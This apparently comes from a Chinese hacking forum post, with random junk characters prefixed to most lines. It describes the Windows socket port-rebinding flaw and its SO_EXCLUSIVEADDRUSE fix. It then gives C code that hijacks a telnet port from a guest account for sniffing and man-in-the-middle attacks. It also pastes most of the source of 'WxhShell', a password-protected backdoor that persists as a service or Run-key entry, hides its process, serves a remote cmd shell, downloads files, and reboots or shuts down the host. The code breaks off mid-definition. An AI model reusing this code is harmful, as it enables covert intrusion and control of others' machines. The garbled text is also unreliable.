在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
UBd+,]"f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\;7U:Y$v Cmx<>7fN saddr.sin_family = AF_INET;
nlv,j& S}C[ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6mcb'hy i#:To
|\u bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
b!H1|7> czRBuo+k+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9B~&d(Bm \S h/<z 这意味着什么?意味着可以进行如下的攻击:
Tg)F.): I"&cr>\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{\>4)TA -VohU-6 | 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&N.pW=%,N ;0eVE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8~!E.u9w uyX
%&r 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
?8
}pZ_ j ld(60?z>FH 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
i9 aR# !Yc:yF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
b`e_}^,c Ug*B[q/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
M7BpOmK' P#TPI*qw #include
QGNKQ`~ #include
CVO_F=; #include
xa`xHh{0 #include
jtoS{B, DWORD WINAPI ClientThread(LPVOID lpParam);
4Uny.C] int main()
Yo %U{/e {
t'K+)OK WORD wVersionRequested;
th{J;a DWORD ret;
U)dcemQY WSADATA wsaData;
8*-)[+s9il BOOL val;
,Ee5}#dI SOCKADDR_IN saddr;
hP:>!KJ SOCKADDR_IN scaddr;
u-~ec{oBu int err;
DVd8Ix <
SOCKET s;
";.j[p:gi SOCKET sc;
6vNW)1{nn int caddsize;
(H:c80/V HANDLE mt;
8i;1JA DWORD tid;
&l cfX\y wVersionRequested = MAKEWORD( 2, 2 );
vapC5,W"2- err = WSAStartup( wVersionRequested, &wsaData );
:uYZ1O if ( err != 0 ) {
.5 E)dU printf("error!WSAStartup failed!\n");
ue8 @=} return -1;
2wpJ)t*PF }
1tbA-+ saddr.sin_family = AF_INET;
]O;*Y{:Y Wl3S]4A //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
FKL4`GEm /US% s saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
EI=~*&t saddr.sin_port = htons(23);
";U~wZW_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`GE8?UO- {
[w}- )&c printf("error!socket failed!\n");
sd4eG return -1;
_HM?p(H@ }
MXW1: val = TRUE;
j~_iv~[ //SO_REUSEADDR选项就是可以实现端口重绑定的
+aOevkY] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
R\cx-h* {
R.i]6H! printf("error!setsockopt failed!\n");
{5VJprTbv return -1;
,LZA\XC }
v
RD/67 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
E$lbm>jsb$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
'7oR|I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
l4DBGZB }S iR;2W if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
glC,E> {
(?A
c`H ret=GetLastError();
4!14:mq printf("error!bind failed!\n");
f:3cV(mC return -1;
e
oE)Mq }
dQ;8,JzIw& listen(s,2);
Dt!KgI3 while(1)
g]j&F65D {
~AWn 1vFc caddsize = sizeof(scaddr);
1Z 0Qkd( //接受连接请求
*& w/*h$! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
pk u\) if(sc!=INVALID_SOCKET)
N!.o`4 "z {
BqJ|l7+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
.S:(O+#Gm if(mt==NULL)
C'@I!m._i {
`(j~b=PP printf("Thread Creat Failed!\n");
b81^756 break;
`[$>S }
ty5# a }
>Ec;6V
e CloseHandle(mt);
?9xWTVa8 }
Lp%J:ogV` closesocket(s);
J#:`'eEG WSACleanup();
V9/2y9u return 0;
,#N}Ni: }
B _ J2Bf DWORD WINAPI ClientThread(LPVOID lpParam)
e
6wevK\ {
#Ey_.4S SOCKET ss = (SOCKET)lpParam;
LawE3CD SOCKET sc;
K!AA4!eUzM unsigned char buf[4096];
?o)?N8U SOCKADDR_IN saddr;
uj)vh long num;
BZv:E?1z DWORD val;
u~,hTY(% DWORD ret;
5OPvy,e6 //如果是隐藏端口应用的话,可以在此处加一些判断
G5|nt#> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#e =E saddr.sin_family = AF_INET;
F,as>X# saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
1
jLQij saddr.sin_port = htons(23);
pzt<[; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_x|R`1` {
:CqR1_n% printf("error!socket failed!\n");
n?c[ E+i; return -1;
J:)ml }
,2 xD>+= val = 100;
t"9r`0> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+9]t]Vrw {
s/t,6-~EH ret = GetLastError();
zk1]? return -1;
ZUj1vf6I }
kbvF
9# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-+i7T^@| {
-p0*R<t ret = GetLastError();
oR%cG"y return -1;
HoX={^aG% }
$ r-rIW5\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
djoP`r {
'w1ll9O printf("error!socket connect failed!\n");
CXGMc)#>f closesocket(sc);
A|PZ<WAY closesocket(ss);
C[{E8Tg/ return -1;
6J- /% }
V:t{mu5j while(1)
KXz7l\1Gb {
7Ou]!AOhG //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
A.yIl`'UP# //如果是嗅探内容的话,可以再此处进行内容分析和记录
t(vyi //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
*'?V>q, num = recv(ss,buf,4096,0);
1}Guhayy if(num>0)
GB Vqc!d send(sc,buf,num,0);
3xRn else if(num==0)
a;a1>1 break;
*yHz#u' num = recv(sc,buf,4096,0);
R4 b!?}d if(num>0)
jq#`cay! send(ss,buf,num,0);
DGTE#?'( else if(num==0)
QxbG-B^)= break;
x8c>2w;6x^ }
toU<InN closesocket(ss);
EqBTN07dZS closesocket(sc);
YnU*MC} return 0 ;
<3ep5` 1 }
Id8MXdV w87$p821 k|RY;
8_
==========================================================
zgGJ<=G. YADXXQ" 下边附上一个代码,,WXhSHELL
xEq? [M YuHXm3[ ==========================================================
:}q)]W @o1#J`rv #include "stdafx.h"
z[vu-f9 *Jt+-ZM #include <stdio.h>
M17+F?27M #include <string.h>
/V2yLHm #include <windows.h>
Ps(oxj7 #include <winsock2.h>
fGA#0/_` #include <winsvc.h>
'"c`[L7Wn #include <urlmon.h>
x
<aR|r _V8;dv8 #pragma comment (lib, "Ws2_32.lib")
5zZQt+Ip #pragma comment (lib, "urlmon.lib")
BhjDyB 'n"we#
[ #define MAX_USER 100 // 最大客户端连接数
0k_3]Li=( #define BUF_SOCK 200 // sock buffer
{~#PM>f #define KEY_BUFF 255 // 输入 buffer
hpbi!g WAtv4 #define REBOOT 0 // 重启
3A =\Mb #define SHUTDOWN 1 // 关机
.h/2-pQ> owyQFk #define DEF_PORT 5000 // 监听端口
lqO>Q1_{K C%ZPWOc_8 #define REG_LEN 16 // 注册表键长度
<Voct #define SVC_LEN 80 // NT服务名长度
WuI$ (7&b)"y // 从dll定义API
xh#pw2v7V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
egr"og{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?|_i"*]l typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
oLq N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
g-ZXj4Ph! lu+KfKa // wxhshell配置信息
j
B1ZF# struct WSCFG {
I#]pk! int ws_port; // 监听端口
6f
t6;*, char ws_passstr[REG_LEN]; // 口令
>Y\?v-^~; int ws_autoins; // 安装标记, 1=yes 0=no
{61Y; char ws_regname[REG_LEN]; // 注册表键名
e7-IqQA{3C char ws_svcname[REG_LEN]; // 服务名
tv~Y5e&8 char ws_svcdisp[SVC_LEN]; // 服务显示名
oxUBlye char ws_svcdesc[SVC_LEN]; // 服务描述信息
t.\Pn4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
eR`Q7]j] - int ws_downexe; // 下载执行标记, 1=yes 0=no
48 0M|^
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
c4Q9foE
char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&sYxe:H xTH3g^E };
}7xcHVO8- <dVJV?i; // default Wxhshell configuration
Wl+spWqW struct WSCFG wscfg={DEF_PORT,
k=d0%}
`M( "xuhuanlingzhe",
%\}5u[V 1,
AOwmPHEL "Wxhshell",
#_K<-m%9 "Wxhshell",
K3WaBcm "WxhShell Service",
gLFTnMO "Wrsky Windows CmdShell Service",
JvP>[vb "Please Input Your Password: ",
H4T~Kv 1,
#,1)@[ "
http://www.wrsky.com/wxhshell.exe",
<u],R.S) "Wxhshell.exe"
Bva2f:)K| };
sO(4F8cpU <5#2^ ( // 消息定义模块
nz#eJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
T-+ uQ3 char *msg_ws_prompt="\n\r? for help\n\r#>";
'n\P S,[1R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Hr7pcz/#l char *msg_ws_ext="\n\rExit.";
mb%U~Na char *msg_ws_end="\n\rQuit.";
=:6B`,~C char *msg_ws_boot="\n\rReboot...";
QoxQ"r9Wh char *msg_ws_poff="\n\rShutdown...";
^K4?uABc char *msg_ws_down="\n\rSave to ";
>vYb'%02 C(8!("tU char *msg_ws_err="\n\rErr!";
3^$=XrD char *msg_ws_ok="\n\rOK!";
Bc-/s(/Eq kkMChe};5 char ExeFile[MAX_PATH];
f#7=N{wm int nUser = 0;
S,avvY.U\ HANDLE handles[MAX_USER];
GDiyFTr int OsIsNt;
,Jn` qvmi lF40n4} SERVICE_STATUS serviceStatus;
9`"#OQPn1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
F~7TE91C 5DkEJk7a // 函数声明
AGO"), int Install(void);
V,8Z!.MG int Uninstall(void);
:>_oOn[ _ int DownloadFile(char *sURL, SOCKET wsh);
l]Ym)QP int Boot(int flag);
5j0 Ib>\ void HideProc(void);
d%nX;w,
int GetOsVer(void);
1A#/70Mo int Wxhshell(SOCKET wsl);
OQKc_z'" void TalkWithClient(void *cs);
wa`c3PQGu int CmdShell(SOCKET sock);
>p;&AaXkoG int StartFromService(void);
_ yDDPuAi int StartWxhshell(LPSTR lpCmdLine);
f|F=)tJO ]ZW-`U MO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|B'4wF> VOID WINAPI NTServiceHandler( DWORD fdwControl );
$"MVr5q6 -XK;B--c // 数据结构和表定义
3u+i SERVICE_TABLE_ENTRY DispatchTable[] =
EAxdF
u {
WB<MU:.Vc {wscfg.ws_svcname, NTServiceMain},
yx*<c#Uf {NULL, NULL}
ty4R2LnC };
7&%HE\ #N~1Ye // 自我安装
nG{o$v_| int Install(void)
0@y`iZ]
1S {
Q00v(6V46 char svExeFile[MAX_PATH];
:("@U, HKEY key;
oe3=QE strcpy(svExeFile,ExeFile);
8|L@-F pjoyMHWK // 如果是win9x系统,修改注册表设为自启动
,w9|?%S if(!OsIsNt) {
DO+~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x'OP0],# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*
{~`Lw)y RegCloseKey(key);
C+%eT&OO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[?qzMFb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[kckE-y RegCloseKey(key);
`R7dn/ return 0;
X?&{<
vz }
_6`GHx }
Qe4 % A }
'iOaj0f else {
v"mZy,u ,S<) ) // 如果是NT以上系统,安装为系统服务
s16, *;Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
H8HVmfM if (schSCManager!=0)
#Q-#7|0& {
/` nkz SC_HANDLE schService = CreateService
]>*VEe}hJ (
piuM#+Y\'S schSCManager,
'O.f}m SS wscfg.ws_svcname,
&
BY\h: wscfg.ws_svcdisp,
%4V$')rek SERVICE_ALL_ACCESS,
kt\,$.v8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
EA9.?F
SERVICE_AUTO_START,
Oo FMOlb.Z SERVICE_ERROR_NORMAL,
T}29(xz-(h svExeFile,
X Z3fWcw[ NULL,
6%:~.ZfN NULL,
'Nuy/\[{\ NULL,
P{:Z xli0 NULL,
w:iMrQeJg NULL
,=c(P9}^ );
Q>9bKP if (schService!=0)
{.[EX MX {
J|^z>gP( CloseServiceHandle(schService);
mh`uvqY CloseServiceHandle(schSCManager);
zxH<~2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
r:E4Wi{\ strcat(svExeFile,wscfg.ws_svcname);
}[drR(]`dO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
6BEpnw>p( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
R$A%Zh6 RegCloseKey(key);
W=LJhCpRHj return 0;
|!7leL }
=1(7T.t }
suW|hh1/Ya CloseServiceHandle(schSCManager);
)C{20_ }
7#oq|5 }
V[]Pya|s+ \.p;
4V& return 1;
E?bv<L," }
+Wy `X5v |:4?K*w", // 自我卸载
],~[ ^0 int Uninstall(void)
8faT@J'e; {
$<C",& HKEY key;
!<VP[%2L~ 2Ub-ufkU if(!OsIsNt) {
Li0+%ijM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l{ql'm RegDeleteValue(key,wscfg.ws_regname);
98^7pa RegCloseKey(key);
j6$@vA) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Bt5 P][< RegDeleteValue(key,wscfg.ws_regname);
f\Hw Y)^> RegCloseKey(key);
:A:7^jrhi return 0;
,O:p`"3`0= }
8;c\}D }
Qp)?wny4 }
|`Yn'Mj8rm else {
%zRuIDmv "UhE'\() SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
A
#m _w* if (schSCManager!=0)
8t, &dq {
RW1+y/#%P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
T5e#Ll/ if (schService!=0)
R^sgafGl= {
Z(tO]tQE if(DeleteService(schService)!=0) {
ZNk[Jn
[. CloseServiceHandle(schService);
,/TmTX--d CloseServiceHandle(schSCManager);
!7Qj8YmS return 0;
I|K!hQ"m }
I@O9bxR? CloseServiceHandle(schService);
P?c V d2Y }
JC~4B3! CloseServiceHandle(schSCManager);
iC^G^ ~V+H }
9 BU#THDm }
Eyk:pnKJb e Y^zs0 return 1;
-%P}LaC< }
h8Oj
E$
H >SziRm>Y7 // 从指定url下载文件
9=/4}!. int DownloadFile(char *sURL, SOCKET wsh)
=OV5DmVmQ {
cXf/ HRESULT hr;
\-{$IC-L char seps[]= "/";
7bRfkKD char *token;
l,(:~KH| char *file;
4}cxSl]jf! char myURL[MAX_PATH];
k\*?<g char myFILE[MAX_PATH];
n5BD0q t0v>J9 strcpy(myURL,sURL);
7r)]9_[( token=strtok(myURL,seps);
+/kOUz/] while(token!=NULL)
B B'qbX3xK {
Ie=gI+2 file=token;
K"5q387! token=strtok(NULL,seps);
c+T`X?.j }
YRf$?xa +oO7UWs>6 GetCurrentDirectory(MAX_PATH,myFILE);
$]}K ; strcat(myFILE, "\\");
F^%\AA]8 strcat(myFILE, file);
Fv$w:r]q6 send(wsh,myFILE,strlen(myFILE),0);
Jg{K!P|i send(wsh,"...",3,0);
Y"KJ`Rx hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&b*v7c=o if(hr==S_OK)
,,80nW9E return 0;
LikCIO else
"$K]+0ryG< return 1;
Z1+Ewq3m O{7#Xj
:_ }
3vAP&i'I <gH-`3J6 // 系统电源模块
z
j#<X int Boot(int flag)
S
Te8*=w {
F0zaA HANDLE hToken;
YPq:z"`-y4 TOKEN_PRIVILEGES tkp;
.V0fbHYTJ qTwl\dcncC if(OsIsNt) {
n@"<NKzh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
mvt-+K?U LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
_LfbEv<,T tkp.PrivilegeCount = 1;
3$:F/H tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}aXS MxCd AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,WnZ^R/n if(flag==REBOOT) {
'/9MN;_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
wxj}k7_(`A return 0;
J&JZYuuf }
@W
@,8e]c else {
zw$\d1-+h if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
I5g|)Y Q return 0;
3="vOSJ6& }
4!xRA '' }
`v<S else {
QkD]9#Id& if(flag==REBOOT) {
hgE:2@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
s~B)xYmyB' return 0;
vUO[V$rx }
@]}/vsI m else {
_Ye.29 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
P0OMu/ return 0;
>t'A1`W }
O&;d8 2IA{ }
yENAc sv T;{:a-8 return 1;
(.YSs }
5A|dhw #Hu##x| // win9x进程隐藏模块
0YfmAF$/ B void HideProc(void)
;1nXJ{jKw {
Y9vi&G?Jl iCh8e>+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
rLmc(-q if ( hKernel != NULL )
~!7x45(1# {
ZHeq)5C ;f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;/?w-)n? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
t>*(v#WeZ FreeLibrary(hKernel);
3W#E$^G_v }
Xppb|$qp4H nec}grA return;
Z0y~%[1X }
g=qaq
/iQh'rp // 获取操作系统版本
0CXXCa7! int GetOsVer(void)
`r3 klL,W' {
bXXX-Xc OSVERSIONINFO winfo;
gYk5}E- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
6o9&FU GetVersionEx(&winfo);
R ;A8y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?P>4H0@I+ return 1;
u#^l9/tl else
k2,`W2]^E return 0;
,mi7WW9 }
Mk973'K' 5|Z8UzL // 客户端句柄模块
F!/-2u5gF int Wxhshell(SOCKET wsl)
*HGhm04F{ {
v+79#qWK|n SOCKET wsh;
yuJ>xsM struct sockaddr_in client;
'
;nG4+K DWORD myID;
o.Y6(o CH|cK8q while(nUser<MAX_USER)
NW3qs`$-( {
8+".r2*_iO int nSize=sizeof(client);
fB,eeT1v?h wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$ywROa] if(wsh==INVALID_SOCKET) return 1;
0a<h,s0"2 8tna<Hx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
/7p(%vr if(handles[nUser]==0)
41+WIa
L closesocket(wsh);
l`:u5\ rM else
X%(NI(+x, nUser++;
Ej6ho 0_ }
@)[8m8paV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
R)*l)bpZ# p$jAq~C return 0;
_JTK$\ }
(aSuxl.Dq zF{~Md1 // 关闭 socket
$Zw+"AA void CloseIt(SOCKET wsh)
:Mh\;e {
/cUu]#h closesocket(wsh);
+_bxza(ma{ nUser--;
ZUS5z+o ExitThread(0);
xaoR\H }
(&r`
l&0 [UC_ // 客户端请求句柄
Zby3.=.e void TalkWithClient(void *cs)
s3Zt)xQ3 {
cjO%X .sM,U SOCKET wsh=(SOCKET)cs;
x{K"z4xbI char pwd[SVC_LEN];
dtfOFag4_ char cmd[KEY_BUFF];
IO=$+c char chr[1];
M
l@F int i,j;
N3MPW +S-60EN*A while (nUser < MAX_USER) {
fR {_P 7ZyP if(wscfg.ws_passstr) {
+,$pcf<[V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KfZb=v;-l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3RvDX p //ZeroMemory(pwd,KEY_BUFF);
mv~?1aIKD i=0;
zb"4_L@m2 while(i<SVC_LEN) {
PeqW+Q. 3tJfh=r=1 // 设置超时
q+p}U}L=
k fd_set FdRead;
Gr/}&+S struct timeval TimeOut;
2QAP$f0Ln FD_ZERO(&FdRead);
#-+Q]}fB4 FD_SET(wsh,&FdRead);
yZgWFf.X TimeOut.tv_sec=8;
EStui>ho TimeOut.tv_usec=0;
xDH#K0-#L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
j3N d4# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
'kY/=*=Q chKEGosbF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_O'!C!K6 pwd
=chr[0]; { gs$pBu
if(chr[0]==0xd || chr[0]==0xa) { f8N*[by
pwd=0; "M /Cl|z
break; p8)R#QWz9
} oaPWeM+
i++; 5G(dvM-n
} Yo'Y-h#
|mHf7gCX
// 如果是非法用户,关闭 socket oD\t4]?E
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2Vf242z_
} @n.n[zb\|
i|AWaG)
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p'%S{v@5((
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I=<Qpd4
i '*!c
while(1) { n^hkH1vY
>1Hv c7DP
ZeroMemory(cmd,KEY_BUFF); 1i~q~O,
Z}>F
V~4
// 自动支持客户端 telnet标准
_(8#
j=0; Yk?q \1
while(j<KEY_BUFF) { _Z9d.-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .s,04xW\
cmd[j]=chr[0]; gt(p%~
if(chr[0]==0xa || chr[0]==0xd) { Do\j _
cmd[j]=0; QKq4kAaJ!
break; |%ZJN{!R
} :3D6OBkB
j++; YG:^gi
} _6r[msH"
9s[
// 下载文件 0!ZaR6
if(strstr(cmd,"http://")) { `O0Qtq.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); n^l*oEl
if(DownloadFile(cmd,wsh)) 6m(? (6+;K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _,aFQ^]'9
else P!IA;i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QKts-b[3
} 4u%AZ<-C}m
else { +75"Q:I
.[1 f$
switch(cmd[0]) { D&uaA-;s
[M%?[E}>
// 帮助 &oHr]=xA
case '?': { +>*=~R
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oQmXKV+[v
break; r nr-wUW@
} g}R Cjl4
// 安装 T8|?mVv s
case 'i': { #5{xWMp/0
if(Install()) KU
oAxA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >bQOpGy}l
else X`WS&!C<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jj=N+,km
break; U/s
Z1u-
} j$/#2%OVN
// 卸载 $t}W,?
case 'r': { (}>)X]
if(Uninstall()) x4wTQ$*1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wEX<[#a-
else >Ovz;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d-e/0F!
break; G!I5Er0pdy
} G7+ {O7
// 显示 wxhshell 所在路径 w+*rbJ
case 'p': { G/},lUzLg
char svExeFile[MAX_PATH]; O-W[^r2e
strcpy(svExeFile,"\n\r"); Q%?%zuU
strcat(svExeFile,ExeFile); "9aFA(H6w
send(wsh,svExeFile,strlen(svExeFile),0); er-0i L@
break; [hg9 0Q6
} Kg>B$fBx)
// 重启 tKLeq(
case 'b': { MnF|'t
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2}/r>]9^-
if(Boot(REBOOT)) 5EI"5&`*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); id :
^|
else { 4~$U#$u_
closesocket(wsh); SC4jKm2
ExitThread(0); 5WRqeSGh
} CALD7qMK
break; U_gkO;s%
} *!BQ1] G
// 关机 =1R
2`H\
case 'd': { =LK`mNA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .B2e$`s$
if(Boot(SHUTDOWN)) M!!vr8}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }wvR s5;o
else { Z`GEF|eh
closesocket(wsh); G9QvIXRi
ExitThread(0); MoEh25U.
} M.MQ?`_"b
break; "a'I^B/
} N: 38N
// 获取shell $yj*n;
case 's': { 2
V \hG?<
CmdShell(wsh); >!" Sr3,L
closesocket(wsh); Nv;'Ys P
ExitThread(0); :R:@V#Y
break; tK{#kApHGG
} <zvtQ^{]
// 退出 fSVM[
case 'x': { hslT49m>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lV4TFt,
CloseIt(wsh); 7SYe:^Dx
break; d#bg(y\G|
} )T
gfd5B
// 离开 7p':a)
case 'q': { . a @7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); mSu$1m8
closesocket(wsh); *& );-r`.
WSACleanup(); s}`
|!Vyl
exit(1); cyHbAtl
break; %Y'/_
esH2
} q8/k$5E
} S\t!7Xs%*U
} ebCS4&c
#EE<MKka
// 提示信息 'w72i/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1'TS!/ll];
} tq'hiS(b
} s%Ph
jR\! 2!
return;
u0oTqD?
} T>#~.4A0
BOM0QskLf
// shell模块句柄 G^SJhdO(Q
int CmdShell(SOCKET sock) >rP[Xox'
{ iS.gN&\z^
STARTUPINFO si; 9yTkZ`M28
ZeroMemory(&si,sizeof(si)); P2s\f;Dwr
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mA,{E-T
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f8r7SFwUv
PROCESS_INFORMATION ProcessInfo; +/mCYI
char cmdline[]="cmd"; f!5w+6(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BU>R<A5h
return 0; AOcUr)
} P()W\+",n
I D-I<Ev
// 自身启动模式 hDUU_.q)D
int StartFromService(void) &1yErGXC
{ E
U RKzJk
typedef struct -p7
HQ/
{ 3&M0@/
DWORD ExitStatus; Da6l=M
DWORD PebBaseAddress; |)%H_TXTy
DWORD AffinityMask; 46 \!W(O~y
